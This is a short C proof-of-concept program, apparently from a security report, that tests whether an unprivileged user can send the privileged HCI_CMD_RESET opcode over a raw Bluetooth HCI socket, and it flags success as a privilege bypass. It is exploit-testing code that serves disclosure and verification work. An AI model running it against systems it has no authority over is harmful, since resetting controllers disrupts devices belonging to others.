DF-5741 / bypass.c
/* unpriv check: send HCI_CMD_RESET (privileged opcode) from a * non-root uid; expect EPERM if the filter works, success if the * socket wrongly got HCI_PRIVILEGED */ #include <sys/types.h> #include <sys/socket.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <netbt/bluetooth.h> #include <netbt/hci.h> int main(void) { struct sockaddr_bt sa; uint8_t reset[] = { 0x01, 0x03, 0x0c, 0x00 }; /* HCI_CMD_RESET */ uint8_t read_bd[] = { 0x01, 0x09, 0x10, 0x00 }; /* READ_BDADDR */ int s; ssize_t n; printf("uid=%d euid=%d\n", getuid(), geteuid()); s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (s < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.bt_len = sizeof(sa); sa.bt_family = AF_BLUETOOTH; bdaddr_t ba = { { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 } }; bdaddr_copy(&sa.bt_bdaddr, &ba); if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 1; } errno = 0; n = send(s, reset, sizeof(reset), 0); printf("send(HCI_CMD_RESET) = %zd errno=%d (%s)\n", n, errno, n < 0 ? strerror(errno) : "QUEUED-OK"); if (n >= 0) { printf("*** PRIVILEGE BYPASS: unprivileged uid queued a " "privileged opcode (HCI_PRIVILEGED set on socket) ***\n"); } errno = 0; n = send(s, read_bd, sizeof(read_bd), 0); printf("send(HCI_READ_BDADDR) = %zd errno=%d (%s)\n", n, errno, n < 0 ? strerror(errno) : "QUEUED-OK"); return 0; } |